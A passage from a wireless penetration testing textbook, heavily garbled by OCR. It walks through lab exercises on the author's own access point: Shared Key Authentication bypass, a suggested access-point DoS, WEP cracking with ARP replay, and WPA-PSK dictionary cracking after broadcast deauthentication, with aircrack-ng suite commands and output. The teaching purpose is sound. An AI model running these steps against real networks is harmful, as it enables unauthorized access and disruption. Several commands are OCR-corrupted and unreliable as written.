t Frame 611 (70 bytes on wire, 70 bytes captured) 
* Radiotap Header vO, Length 12 
» TEEE 802.11 Association Request, Flags: ........ 
~ IEEE 802.11 wireless LAN management frame 
~ Fixed parameters (4 bytes) 
' Capability Infermation: OxO431 
Listen Interval: Ox0064 


= Tagged parameters (30 bytes) 
~ SSID parameter set: “Wireless Lab" 
Tag Number: O (SSID parameter set) 
Tag Length: 12 
Taq interpretation: Wireless Lab 
= Supported Rates: 1.0 2.0 5.5 11.6 
Tag Number: 1 (Supported Rates } 





Tag Length: 4 = 
00 00 00 Oc 00 04 80 00 00 O2 0018000000 3a01 ...............:. 
16 OO 21 91 d2@ Se 25 aa ae 2a ae aa as OO 21 91 de ee, 
20 Be 25 60 00 31 G4 64 66 OO Gc S7 69 72 65 Ge 65 6 .l.d,. ..Wirele - 





T Packets: 2098 Displayed: 105 Marked: 0 Dropped: 0 Profle: Datoutt 


Fie: “impietherseooahes" S50 Ee... 
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12. \f you check the wireless logs in your access point's administrative interface, 
you should now see a wireless client with the MAC address AA:AA:AA:AA:AA:AA 
connected: 





AA-AA-AA-AA-AA-AA 192.168.1.110 01:59:57 





What just happened? 


We were successful in deriving the keystream from a shared authentication exchange, and 
we used it to fake an authentication to the access point. 





Have a go hero — filling up the access point's tables 


Access points have a maximum client count after which they start refusing connections. By 
writing a simple wrapper over aireplay-ng, it is possible to automate and send hundreds of 
connection requests from random MAC addresses to the access point. This will end up filling 
the internal tables and once the maximum client count is reached, the access point will stop 
accepting new connections. This is typically what is called a Denial of Service (DoS) attack 
and can force the router to reboot or make it dysfunctional. This can lead to all the wireless 
clients being disconnected and being unable to use the authorized network. 


Check whether you can verify this in your lab! 


Pop quiz— WLAN authentication 


Q1. How can you force a wireless client to re-connect to the access point? 


By sending a deauthentication packet. 
By rebooting the client. 
By rebooting the access point. 


All of the above. 


- 2 


Q2. What does Open Authentication do? 


It provides decent security. 
It provides no security. 


It requires the use of encryption. 


oY oY 


None of the above. 
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Q3. How does breaking Shared Key Authentication work? 


1. By deriving the keystream from the packets. 

2. By deriving the encryption key. 

3. By sending deauthentication packets to the access point. 
4 


By rebooting the access point. 


Summary 


In this chapter, we learnt about WLAN Authentication. Hidden SSIDs are a security-through- 
obscurity feature and are is relatively simple to beat. MAC address filters do not provide 
any security, as MAC addresses can be sniffed from the air from the wireless packets. This is 
possible because the MAC addresses are unencrypted in the packet. Open Authentication 
provides no real authentication at all. Shared Key Authentication is a bit tricky to beat but, 
with the help of the right tools, we can derive the store and the keystream, using which it is 
possible to answer all future challenges sent by the access point. The result is that we can 
authenticate without needing to know the actual key. 


In the next chapter, we will take a look at different WLAN encryption mechanisms—WEP, 
WPA, and WPA2—and look at the insecurities that plague them. 








WLAN Encryption Fiaws 





"640K is more memory than anyone will ever need." 


Bill Gates, Founder, Microsoft 


Even with the best of intentions, the future is always unpredictable. 

The WLAN committee designed WEP and then WPA to be foolproof encryption 
mechanisms but, over time, both these mechanisms had flaws that have been 
widely publicized and exploited in the real world. 


WLAN encryption mechanisms have had a long history of being vulnerable to 
cryptographic attacks. It started with WEP in early 2000, which eventually was 
completely broken. In recent times, attacks are slowly targeting WPA. Even 
though there is no public attack available currently to break WPA in all general 
conditions, there are attacks that are feasible under special circumstances. 





In this chapter, we will take a look at the following topics: 


@ Different encryption schemas in WLANs 
@ Cracking WEP encryption 
@ Cracking WPA encryption 


a ASM 
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WLAN encryption 


WLANs transmit data over the air and thus there is an inherent need to protect data 
confidentiality. This is best done using encryption. The WLAN committee (IEEE 802.11) 
formulated the following protocols for data encryption: 


@ Wired Equivalent Privacy (WEP) 
@ Wi-Fi Protected Access (WPA) 
@ Wi-Fi Protection Access v2 (WPAv2) 


In this chapter, we will take a look at each of these encryption protocols and demonstrate 
various attacks against them. 


WEP encryption 


The WEP protocol was known to be flawed as early as 2000 but, surprisingly, it is still 
continuing to be used and access points still ship with WEP enabled capabilities. 


There are many cryptographic weaknesses in WEP and they were discovered by Walker, 
Arbaugh, Fluhrer, Martin, Shamir, KoreK, and many others. Evaluation of WEP from a 
cryptographic standpoint is beyond the scope of this book, as it involves understanding 
complex math. In this section, we will take a look at how to break WEP encryption using 
readily available tools on the BackTrack platform. This includes the entire aircrack-ng 
suite of tools—airmon-ng, aireplay-ng, airodump-ng, aircrack-ng, and others. 


The fundamental weakness in WEP is its use of RC4 and a short IV value that is recycled 
every 224 frames. While this is a large number in itself, there is a 50 percent chance of four 
reuses every 5,000 packets. To use this to our advantage, we generate a large amount of 
traffic so that we can increase the likelihood of IVs that have been reused and thus compare 
two cipher texts encrypted with the same IV and key. 


Let's now first set up WEP in our test lab and see how we can break it. 
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Time for action — cracking WEP 





Follow the given instructions to get started: 


1. Let's first connect to our access point Wireless Lab and go to the settings area that 
deals with wireless encryption mechanisms: 


TP-LINK’ 


Status 
Quick Setup 
WPS 
Network 
Wireless 


- Wireless Settings 


- Wireless MAC Filtering 
- Wireless Advanced 
- Wireless Statistics 
DHCP 

Forwarding 

Security 

Parental Control 
Access Control 
Advanced Routing 
Bandwidth Control 
IP & MAC Binding 
Dynamic DNS 


System Tools 


WPA/WPA2 - Personal(Recommended) 


Version: 
Encryption: 


Wireless Password: 


Group Key Update Period: 


WPA/WPA2 - Enterprise 
Version: 
Encryption: 
Radius Server IP: 
Radius Port: 
Radius Password: 
Group Key Update Period: 
WEP 
Type: 
WEP Key Format: 
Key Selected 
Key 1: 
Key 2: 
Key 3: 
Key 4: 


WPA2-PSK 

AES 
88455808 

(You can enter ASCII characters between 8 and 63 or Hexadecimal characters between 8 and 64.) 
0 Seconds 


(Keep it default if you are not sure, minimum is 30, 0 means no update) 


Automatic 


Automatic 


(1-65535, 0 stands for default port 1812) 


(in second, minimum is 30, 0 means no update) 


Automatic 


Hexadecimal 


Key Type 
Disabled 
Disabled 
Disabled 
Disabled 
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2. Onmyaccess point, this can be done by setting the Security Mode to WEP. We will 
also need to set the WEP key length. As shown in the following screenshot, | have 
set WEP to use 128bit keys. | have set the default key to WEP Key 1 and the value in 
hex to abcdefabcdefabcdefabcdef12 as the 128-bit WEP key. You can set this to 
whatever you choose: 


TP-LINK’ 


Status 
Quick Setup 
WPS 
Network 
Wireless 


- Wireless Settings 


- Wireless MAC Filtering 
- Wireless Advanced 
- Wireless Statistics 
DHCP 

Forwarding 

Security 

Parental Control 
Access Control 
Advanced Routing 
Bandwidth Control 
IP & MAC Binding 
Dynamic DNS 


System Tools 


WPA/WPA2 - Personal(Recommended) 


Version: 
Encryption: 


Wireless Password: 


Group Key Update Period: 


WPA/WPA2 - Enterprise 
Version: 
Encryption: 
Radius Server IP: 
Radius Port: 
Radius Password: 
Group Key Update Period: 
WEP 
Type: 
WEP Key Format: 
Key Selected 
Key 1: @ 
Key 2: 
Key 3: 
Key 4: 


WPA2-PSK ov 
AES v 
| 88455808 


(You can enter ASCII characters between 8 and 63 or Hexadecimal characters between 8 and 64.) 





0 Seconds 


(Keep it default if you are not sure, minimum is 30, 0 means no update) 


Automatic 


Automatic 





| 1812 (1-65535, 0 stands for default port 1812) 


0 (in second, minimum is 30, 0 means no update) 


Automatic v 





Hexadecimal v 
WEP Key Key Type 


| | |Disabled ¥ 
| |Disabled ¥ 
| || Disabled v 





We do not recommend using the WEP encryption if this device operates in 802.11n mode due to the fact that WEP is not supported by 


802.11n specification. 











3. Once the settings are applied, the access point should now be offering WEP as the 
encryption mechanism of choice. Let's now set up the attacker machine. 


4, Let's bring up W1ano by issuing the following command: 


ifconfig wlan0O up 


5. Then, we will run the following command: 


airmon-ng start wlan0o 
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6. This is done so as to create monO, the monitor mode interface, as shown in the 
following screenshot. Verify that the mono interface has been created using the 
iwconfig command: 


® © ©) Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places y | Friz6 Sep, 21:02 aa 


root@kali: ~ 


File Edit View Search Terminal Help 
-~# airmon-ng start wlandg 


Found 3 processes that could cause trouble. 
If ailrodump-ng, aireplay-ng or airtun-ng stops working after 
a short period of time, you may want to kill (some of) them! 


Name 

dhclient 
NetworkManager 
wpa supplicant 


Interface Chipset Driver 


wlang Ralink RI28/0/30/0 rt280Gusb - [phy@] 
(manitor mode enabled on mon) 


:~# iwconfig mon@ 

IEEE 802.11bgn Mode:Monitor Tx-Power=20 dBm 

Retry short Limit:/ RIS thr:off Fragment thr:off 
Power Management off 


~# | 


root@kkali: ~ 


To release input, press Ctrl+Alt 





7. Let's run airodump-ng to locate our lab access point using the following command: 


airodump-ng mono 


[61] 
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8. As you can see in the following screenshot, we are able to see the Wireless Lab 
access point running WEP: 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places if (>) Fri 26 Sep, 21:06 


root@kali: ~ 
File Edit View Search Terminal Help 
CH 2 J][ Elapsed: 24 s ][ 2014-09-26 21:06 
BSSID PWR Beacons #Data, #/s CH ENC CIPHER AUTH ESSID 
E8:94:F6:62:1E:8E 2 0 ll . WEP WEP Wireless Lab 
9C:D3:6D:2A:7B:CO 3 0 lil WPA2 CCMP PSK everythingwillpro 
00:22:B0:62:6D:08 332 woo 1 e WPA TKIP PSK Upstairs 
BSSID Rate Lost Frames Probe 


Galehaer-|-}-lelene-a-lep) 
Gale) wer-|-j-1eleme-ha-lep) 


—_— 


Oo oroecdcdryw @® 
W 
W 
PROF BNN Fe 


root@kali: ~ 
To release input, press Ctrl+Alt —5 =e Foe x a 








9. For this exercise, we are only interested in the Wireless Lab, so let's enter the 
following command to only see packets for this network: 


airodump-ng -bssid 00:21:91:D2:8E:25 --channel 11 --write 
WEPCrackingDemo mon0O 
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The preceding command line is shown in the following screenshot: 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places g e) 


root@kali: ~ 


To release input, press Ctrl+Alt 





10. We will request airodump-ng to save the packets into a pcap file using the 


--write directive: 


am 


Applications Places |& J 


&) root@kali: - 


Tr . - arpce Cbg Alp 
eledse ) 5s f ‘Al 
Yr dSe PUL, PICos LA 





CH 11 J[ Elapsed: 12 s 


ASSID PWR RXQ Beacons 


4 -) e-) 


root@kali: ~ 


File Edit View Search Terminal Help 
:~# airodump-ng --bssid E8:94:F6:62:1E:8E --channel 11 --write WEPCrackingDemo mon0 


Kall Linux 32-bit - VMware Player (Non-commercial use only) 


Fri 26 Sep, 21:08 


root@kali: ~ 


Terminal Hele 


{ 2614-09-26 21:08 j| 
#Data, 

40 
PWR Rate 


-77 54a -Sda 


L monG@: 


ENC 


4e. WEP 


CIPHER AUTH ESSTIO 


WEP 


ee 


* 


#6 


Probe 





L @ root 
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11. Now let's connect our wireless client to the access point and use the WEP key as 
abcdefabcdefabcdefabcdef12. Once the client has successfully connected, 
airodump-ng should report it on the screen. 


12. \f you do an 1s in the same directory, you will be able to see files prefixed with 
WEPCrackingDemo-*, as shown in the following screenshot. These are traffic 
dump files created by airodump-ng: 


©) Kali Linux 32-bit - VMware Player (Non-commercial use only) 





Applications Places Fri 26 Sep, 21:10 


root@kali: ~/WEPCrack 


File Edit View Search Terminal Help 
:>~/WEPCrack# 1s 
WEPCrackingDemo-@1.cap WEPCrackingDemo -02.cap 
WEPCrackingDemo -01.csv WEPC rackingDemo -02.csv 
WEPCrackingDemo-01.kismet .csv WEPCrackingDemo -02.kismet .csv 
WEPCrackingDemo-@1.kismet.netxml WEPCrackingDemo-02.kismet .netxml 
: EPCrack# 


[root@kali: ~] root@kali: ~/WEPCrack 


To release input, press Ctrl+Alt 
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13. |f you notice the airodump-ng screen, the number of data packets listed under 
the #Data column is very few in number (only 68). In WEP cracking, we need a 
large number of data packets, encrypted with the same key to exploit weaknesses 
in the protocol. So, we will have to force the network to produce more data packets. 
To do this, we will use the aireplay-ng tool: 


. ~~ aX 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places af Fri 26 Sep, 21:11 


root@kali: ~ 
File Edit View Search Terminal Help 
CH 11 J[{ Elapsed: 1 min ][ 2014-09-26 21:11 ][ fixed channel mon: -1l 
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 
E8:94:F6:62:1E:8E -45 100 1093 987 © 11 54e. WEP WEP Wireless Lab 
BSSID STATION PWR Rate Lost Frames Probe 


E8:94:F6:62:1E:8E 20:10:7A:45:36:61 -7/1 48e-54e 962 


root@kali: ~ root@kali: ~/WEP Crack 


To release input, press Ctrl+Alt 
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14. We will capture ARP packets on the wireless network using Aireplay-ng and inject 
them back into the network to simulate ARP responses. We will be starting Aireplay- 
ng in a separate window, as shown in the next screenshot. Replaying these packets a 
few thousand times, we will generate a lot of data traffic on the network. Even though 
Aireplay-ng does not know the WEP key, it is able to identify the ARP packets by 
looking at the size of the packets. ARP is a fixed header protocol; thus, the size of the 
ARP packets can be easily determined and can be used to identify them even within 
encrypted traffic. We will run aireplay-ng with the options that are discussed 
next. The -3 option is for ARP replay, -b specifies the BSSID of our network, and -h 
specifies the client MAC address that we are spoofing. We need to do this, as replay 
attacks will only work for authenticated and associated client MAC addresses: 


a ~~ 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places of >] Fri 26 Sep, 21:12 


root@kali: ~ 
File Edit View Search Terminal Tabs Help 


root@kali: ~ | root@kali: ~ 
:~# aireplay-ng -3 -b E8:94:F6:62:1E:8E -h 20:10:7A:45:36:61§f 





root@kali: ~ root@kali; ~/WEPCrack 


To release input, press Ctrl+Alt 
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15. Very soon you should see that aireplay-ng was able to sniff ARP packets and 
started replaying them into the network. If you encounter channel-related errors 
as | did, append -ignore-negative-one to your command, as shown in the 
following screenshot: 


a 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places if (>_] Fri 26 Sep, 21:14 


root@kali: ~ 


File Edit View Search Terminal Tabs Help 


root@kali: ~ root@kali: ~ 
:~# aireplay-ng -3 -b E£8:94:F6:62:1E:8E -h 20:10:7A:45:36:61 --ignore-negative-one 
Hite}ale) 
The interface MAC (80:1F:02:8F:34:D5) doesn't match the specified MAC (-h). 
ifconfig mon® hw ether 20:10:7A:45:36:61 
21:14:33 Waiting for beacon frame (BSSID: E8:94:F6:62:1E:8E) on channel -1 
Saving ARP requests in replay_arp-0926-211433.cap 
You should also start airodump-ng to capture replies. 
REFeTe| 1091 packets (got © ARP requests and 7/7 ACKs), sent © packets...(@ pps) 


mele) 4(@)) ¢-| 0 root@kali: ~/WEPCrack 





To release input, press Ctrl+Alt BS x) 
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16. At this point, airodump-ng will also start registering a lot of data packets. 
All these sniffed packets are being stored in the WEPCrackingDemo-* files that 
we saw previously: 


ar 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places af Fri26 Sep, 21:15 


root@kali: ~ 


File Edit View Search Terminal Tabs Help 


root@kali: ~ \ root@kali: ~ 
CH 11 ][ Elapsed: 6 mins ][ 2014-09-26 21:15 ][ fixed channel mon0: -1 
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 
E8:94:F6:62:1E:8E -49 100 3360 3090 ICs oe = od Wireless Lab 
BSSID STATION PWR Rate Lost Frames Probe 


E8:94:F6:62:1E:8E 20:10:7A:45:36:61 -79 54e-54e 3091 


root@kali: ~ root@kali; ~/WEP Crack 
To release input, press Ctrl+Alt hig se se, x al 








17. Now let's start with the actual cracking part! We fire up aircrack-ng with 
the option WEPCRackingDemo-0*.cap in a new window. This will start the 
aircrack-ng software and it will begin working on cracking the WEP key using 
the data packets in the file. Note that it is a good idea to have Airodump-ng collect 
the WEP packets, aireplay-ng do the replay attack, and aircrack-ng attempt 
to crack the WEP key based on the captured packets, all at the same time. In this 
experiment, all of them are open in separate windows. 
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18. Your screen should look like the following screenshot when aircrack-ng is 
working on the packets to crack the WEP key: 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places if (>_] Fri 26 Sep, 21:16 


root@kali: ~/WEPCrack 


File Edit View Search Terminal Tabs Help 


root@kali: ~ root@kali: ~ root@kali: ~/WEPCrack 


Aircrack-ng 1.2 beta3 


[00:00:00] Tested 625 keys (got 4193 IVs) 


byte(vote) 

C3 AC( 
41 B2( 
a 92 ( 
( 


( 
( 
( 
DF (6400 5E(6144 


root@kali: ~/WEPCrack root@kali: ~/WEP Crack 


To release input, press Ctrl+Alt 
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19. The number of data packets required to crack the key is nondeterministic, but 
generally in the order of a hundred thousand or more. On a fast network (or using 
aireplay-ng), this should take 5-10 minutes at most. If the number of data 
packets currently in the file is not sufficient, then aircrack-ng will pause, as 
shown in the following screenshot, and wait for more packets to be captured; it will 
then restart the cracking process: 


ow 


File Edit View 


root@kali: ~ 


fe[-Jehua 
37/ 38 
12/ 1 
ly -¥ 
9/ 19 
16/ 4 











Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places af b_] Fri 26 Sep, 21:16 


root@kali: ~/WEPCrack 


Search Terminal Tabs Help 


| 


root@kali: ~ root@kali: ~/WEPCrack 


Aircrack-ng 1.2 beta3 


[00:00:02] Tested 166661 keys (got 3862 IVs) 


byte(vote) 

47( 4864 
32 ( 3B ( 48 ( 
41( 58 ( EF ( 
QD ( 17( 47( 
@E(5376) 1F(5376 83(5376 


. Next try with 5000 IVs. 


root@kali: ~/WEP Crack root@kali: ~/WEP Crack 


To release input, press Ctrl+Alt 
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20. Once enough data packets have been captured and processed, aircrack-ng 
should be able to break the key. Once it does, it proudly displays it in the terminal 


and exits, as shown in the following screenshot: 


ar 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places af Fri 26 Sep, 21:18 


root@kali: ~/WEPCrack 


File Edit View Search Terminal Tabs Help 


root@kali: ~ root@kali: ~ 


Aircrack-ng 1.2 beta3 


CICA CICIACICN MEM =t—hal-Te mel Sm.¢-)'/-0 Ge [eka tclelol m9) 


byte(vote) 
D8 (56832 
ele le PAC) 


) 65(56576 DO (56576 
3B ( ) 
D5(57344) 
E3( ) 
DF ( ) 


) 

(55808) 5B(55296 

(56832) AQ ( 
(58624) BE ( 

AA(60416) 4A (57600 


Che 61 
21 91 
60160) EA aa 
72960 


( 
( 
( 
54(56832 


KEY FOUND! [ AB:CD:EF:AB:CD:EF:AB:CD:EF:AB:CD:EF:12 ] 
Decrypted correctly: 100% 


#] 


root@kali: ~/WEP Crack root@kali; ~/WEP Crack 


To release input, press Ctrl+Alt 


root@kali: ~/WEPCrack 


x) 





=e eSh 


21. \t is important to note that WEP is totally flawed and any WEP key (no matter how 
complex) will be cracked by Aircrack-ng. The only requirement is that a large 
enough number of data packets, encrypted with this key, are made available to 


aircrack-ng. 
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What just happened? 


We set up WEP in our lab and successfully cracked the WEP key. In order to do this, we first 
waited for a legitimate client of the network to connect to the access point. After this, we 
used the aireplay-ng tool to replay ARP packets into the network. This caused the network 
to send ARP replay packets, thus greatly increasing the number of data packets sent over the 
air. We then used the aircrack-ng tool to crack the WEP key by analyzing cryptographic 
weaknesses in these data packets. 


Note that we can also fake an authentication to the access point using the Shared Key 
Authentication bypass technique we learnt in the last chapter. This can come in handy if the 
legitimate client leaves the network. This will ensure that we can spoof an authentication 
and association and continue to send our replayed packets into the network. 





In the previous exercise, if the legitimate client had suddenly logged off the network, we 
would not have been able to replay the packets as the access point will refuse to accept 
packets from un-associated clients. 


Your challenge will be to fake an authentication and association using the Shared Key 
Authentication bypass we learnt in the last chapter, while WEP cracking is going on. Log off 
the legitimate client from the network and verify that you are still able to inject packets into 
the network and whether the access point accepts and responds to them. 


WPA/WPAZ 


WPA( or WPA v1 as it is referred to sometimes) primarily uses the TKIP encryption algorithm. 
TKIP was aimed at improving WEP, without requiring completely new hardware to run it. 
WPA2 in contrast mandatorily uses the AES-CCMP algorithm for encryption, which is much 
more powerful and robust than TKIP. 


Both WPA and WPA2 allow either EAP-based authentication, using RADIUS servers 
(Enterprise) or a Pre-Shared key (PSK) (personal)-based authentication schema. 


WPA/WPA2 PSK is vulnerable to a dictionary attack. The inputs required for this attack are 
the four-way WPA handshake between client and access point, and a wordlist that contains 
common passphrases. Then, using tools such as Aircrack-ng, we can try to crack the WPA/ 
WPA2 PSK passphrase. 
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An illustration of the four-way handshake is shown in the following screenshot: 





a 


Supplicant | 
} Authenticator 
= Probe Request-Response Ye 






message + eee 


Snounce 






: ——— Message 200 ae 
hr. Snounce+MIC 


a= 
== 
a= 
== 
a= 
= 
a= 
ao 
== 
= 
a= = 
== = 

== = 


= 
sina. a 
= 


Key Installed 


Key Install Acknowledgement 








The way WPA/WPA2 PSK works is that it derives the per-session key, called the Pairwise 
Transient Key (PTK), using the Pre-Shared Key and five other parameters—SSID of Network, 
Authenticator Nounce (ANounce), Supplicant Nounce (SNounce), Authenticator MAC 
address (Access Point MAC), and Suppliant MAC address (Wi-Fi Client MAC). This key is 
then used to encrypt all data between the access point and client. 


An attacker who is eavesdropping on this entire conversation by sniffing the air can get 

all five parameters mentioned in the previous paragraph. The only thing he does not have 

is the Pre-Shared Key. So, how is the Pre-Shared Key created? It is derived by using the 
WPA-PSK passphrase supplied by the user, along with the SSID. The combination of both of 
these is sent through the Password-Based Key Derivation Function (PBKDF2), which outputs 
the 256-bit shared key. 
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In a typical WPA/WPA2 PSK dictionary attack, the attacker would use a large dictionary of 
possible passphrases with the attack tool. The tool would derive the 256-bit Pre-Shared key 
from each of the passphrases and use it with the other parameters, described earlier, to 
create the PTK. The PTK will be used to verify the Message Integrity Check (MIC) in one of 
the handshake packets. If it matches, then the guessed passphrase from the dictionary was 
correct; if not, it was incorrect. 


Eventually, if the authorized network passphrase exists in the dictionary, it will be identified. 
This is exactly how WPA/WPA2 PSK cracking works! The following figure illustrates the 
steps involved: 





4 Way Handshake 


SNonce 
ANonce 
Pre-Shared Key 256 bit ° AP MAC 


Client MAC 





PBKDF2 (SSID) 





PTK 





Verify by Checking the MIC 








In the next exercise, we will take a look at how to crack a WPA PSK wireless network. The 
exact same steps will be involved in cracking a WPA2-PSK network using CCMP(AES) as well. 
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Time for action — cracking WPA-PSK weak passphrases 


Follow the given instructions to get started: 





1. Let's first connect to our access point Wireless Lab and set the access point to use 
WPA-PSK. We will set the WPA-PSK passphrase to abcdefgh so that it is vulnerable 
to a dictionary attack: 


TP-LINK 


Disable Security 


+ WPAIWPA2 - Personal(Recommended) 
Version WPA-PSK 
Encryption: 


Wiweless Password: 


Group Key Update Period: 





2. Westart airodump-ng with the following command so that it starts capturing and 
storing all packets for our network: 


airodump-ng -bssid 00:21:91:D2:8E:25 -channel 11 -write 
WPACrackingDemo mon0o" 


The following screenshot shows the output: 


~) all Linus 32-bit - VMware Player (Non-commercial ue only) 


Applications Places af fF] Frizé Sep, ti:ice ee x b = ®@ root 


roobg@kali: = 


| rookies - 


To felease input, press ChrleAlt 
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3. Now wecan wait for a new client to connect to the access point so that we can 
capture the four-way WPA handshake, or we can send a broadcast deauthentication 
packet to force clients to reconnect. We do the latter to speed things up. The same 
thing can happen again with the unknown channel error. Again, use -- ignore- 
negative-one. This can also require more than one attempt: 


. ~~ aX 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places af Fri 26 Sep, 21:25 


root@kali: ~ 
File Edit View Search Terminal Tabs Help 


root@kali: ~ root@kali: ~ | root@kali: ~/WEP Crack 
:~# aireplay-ng --deauth 1 -a E8:94:F6:62:1E:8E mon® --ignore-negative-one 
21:25:30 Waiting for beacon frame (BSSID: E8:94:F6:62:1E:8E) on channel -1 
NB: this attack is more effective when targeting 
a connected wireless client (-c <client's mac>). 
21:25:30 el DeAuth to broadcast -- BSSID: [E8:94:F6:62:1E:8E] 
:~# 


root@kali: ~ root@kali: ~/WEPCrack 


To release input, press Ctrl+Alt 








4, Assoonas we capture a WPA handshake, the airodump-ng tool will indicate it 
in the top-right corner of the screen with a WPA handshake followed by the access 
point's BSSID. If you are using -ignore-negative-one, the tool may replace the 
WPA handshake with a fixed channel message. Just keep an eye out for a quick flash 
of a WPA handshake. 
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5. Wecan stop the airodump-ng utility now. Let's open up the cap file in Wireshark 
and view the four-way handshake. Your Wireshark terminal should look like the 
following screenshot. | have selected the first packet of the four-way handshake in 
the trace file in the screenshot. The handshake packets are the one whose protocol 
is EAPOL: 





Kali Linux 32-bit - VMware Player (Non-commercial use only) 





Applications Places of 
WPACrackingDemo-O3.cap [Wireshark 1.10.2 (SVN Rev 51934 from /trunk-1.10)] 


Fri 26 Sep, 21:30 






File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 


QOOQO¢< gE A (ea  KRE@'QeHDRRST SeoWHRmiggw - 


Filter: v Expression... 

No. Time Source Destination Protocol Lengtl Info 
13327 72.523825 Tp-LinkT_62:1le:8e Broadcast 802.11 26 Deauthentication, SN=1127, FN: 
13328 72.524800 Tp-LinkT_62:1le:8e GemtekTe_45:36:61 802.11 176 Reassociation Response, SN=25 
13329 72.525290 Tp-LinkT_62:le:8e (RA) 802.11 10 Acknowledgement, Flags=...... 
13330 72.525873 Tp-LinkT_62:1le:8e Broadcast 802.11 26 Deauthentication, SN=1128, FN: 





ff. Deas Tp-LinkT_62:le: GemtekTe_45:36:61 EAPOL 
13332 72.526826 Tp-LinkT_62:le:8e (RA) 802.11 10 Acknowledgement, Flags=...... 


+ Frame 13331: 133 bytes on wire (1064 bits), 133 bytes captured (1064 bits) 
IEEE 802.11 QoS Data, Flags: ...... F. 

+ Logical-Link Control 

+ 802.1X Authentication 


0000 88 02 3a O01 20 10 7a 45 36 61 e8 94 f6 62 le Se tote «Ze Bio i De 
0010 e8 94 f6 62 le Se 00 00 O06 OO aa aa O03 OO OO OO Seoaaee Sau ae see 
0020 88 Se 02 03 00 Sf fe 00 8a 00 10 00 00 00 00 CO ...... et wee enee 
0030 00 00 O01 bO &d e7 5b 75 58 Ob Ga 64 c7 44 €4 Bf... [u X.jd.D.? 
0040 _ f9 18 f2 c9 Of eb d3 Ob e6 62 bO 6c 3b 36 1lcd_........ 21:6. 
@ i File: "WPACrackingDemo-03.cap"...° Packets: 29476 - Displayed: 29476 (100.0%) - Loa... ‘ Profile: Default 


root@kali: ~ root@kali: ~/WEPCrack WPACrackingDemo-0O... 
To grab input, press Ctrl+G UG seen 
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6. Nowwewill start the actual key cracking exercise! For this, we need a dictionary 
of common words. Kali ships with many dictionary files in the metasploit folder 
located as shown in the following screenshot. It is important to note that, in 
WPA cracking, you are just as good as your dictionary. BackTrack ships with some 
dictionaries, but these may be insufficient. Passwords that people choose depend 
on a lot of things. This includes things such as which country users live in, common 
names and phrases in that region the, security awareness of the users, and a host of 
other things. It may be a good idea to aggregate country- and region-specific word 
lists, when undertaking a penetration test: 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places af Fri 26 Sep, 21:31 


root@kali: ~/WEPCrack 


File Edit View Search Terminal Help 

; # 1s /usr/share/wordlists/metaspLoit 
av-update-urls.txt 
burnett_top_1024.txt 
burnett _top 500.txt 


default pass for_services unhash.txt 
default_userpass_for_services unhash.txt 

default users for services unhash.txt 
dlink_telnet_backdoor_userpass.txt sap_default.txt 


sensitive files win.txt 
http _owa_common.txt 
ne I g'-[omme(-Be- 10] 0am ol- [1 a 
idrac_ default _user.txt 
ipmi_passwords.txt 


ipmi_users.txt 


malicious urls.txt 


[root@kali: ~] root@kali: ~/WEP Crack [WPACrackingDemo-0O.,.. 





To release input, press Ctrl+Alt 
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7. \Newill now invoke the aircrack-ng utility with the pcap file as the input 
and a link to the dictionary file, as shown in the following screenshot. | have used 
nmap.lst , as shown in the terminal: 


ar 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 





Applications Places af Fri 26 Sep, 21:35 


root@kali: ~ 
File Edit View Search Terminal Tabs Help 


root@kali: ~ | root@kali: ~ root@kali: ~/WEPCrack 
-~# aircrack-ng WPACrackingDemo-03.cap -w /usr/share/wordlists/nmap.lst 


root@kali: ~ [root@kali: ~/WEPCra... 


To release input, press Ctrl+Alt 
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8. aircrack-ng uses the dictionary file to try various combinations of passphrases 
and tries to crack the key. If the passphrase is present in the dictionary file, it will 
eventually crack it and your screen will look similar to the one in the screenshot: 


ar 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 





Applications Places af Fri 26 Sep, 21:36 


root@kali: ~ 


File Edit View Search Terminal Tabs Help 


' root@kali: ~ \ root@kali: ~ root@kali: ~/WEP Crack 


Aircrack-ng 1.2 beta3 
00] 648 keys tested (1091.54 K/s) 
KEY FOUND! [ abcdefgh ] 
Master Key 


Transient Key 


EAPOL HMAC 
a | 


root@kali: ~ [root@kali: ~/WEPCra... 
To release input, press Ctrl+Alt oo =e see x 








9. Please note that, as this is a dictionary attack, the prerequisite is that the passphrase 
must be present in the dictionary file you are supplying to aircrack-ng. If the 
passphrase is not present in the dictionary, the attack will fail! 
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What just happened? 


We set up WPA-PSK on our access point with a common passphrase: abcdefgh. We then use 
a deauthentication attack to have legitimate clients reconnect to the access point. When we 
reconnect, we capture the four-way WPA handshake between the access point and the client. 


As WPA-PSK is vulnerable to a dictionary attack, we feed the capture file that contains the 
WPA four-way handshake and a list of common passphrases (in the form of a wordlist) to 
Aircrack-ng. As the passphrase abcdefgh is present in the wordlist, Aircrack-ng is 
able to crack the WPA-PSK shared passphrase. It is very important to note again that, in 
WPA dictionary-based cracking, you are just as good as the dictionary you have. Thus, it is 
important to compile a large and elaborate dictionary before you begin. Though BackTrack 
ships with its own dictionary, it may be insufficient at times and might need more words, 
especially taking into account the localization factor. 


Cowpatty is a tool that can also crack a WPA-PSK passphrase using a dictionary attack. 
This tool is included with BackTrack. | leave it as an exercise for you to use Cowpatty to 
crack the WPA-PSK passphrase. 


Also, set an uncommon passphrase that is not present in the dictionary and try 
the attack again. You will now be unsuccessful in cracking the passphrase with both 
Aircrack-ng and Cowpatty. 


It is important to note that the same attack applies even to a WPA2 PSK network. | encourage 
you to verify this independently. 


Speeding up WPA/WPA2 PSK cracking 


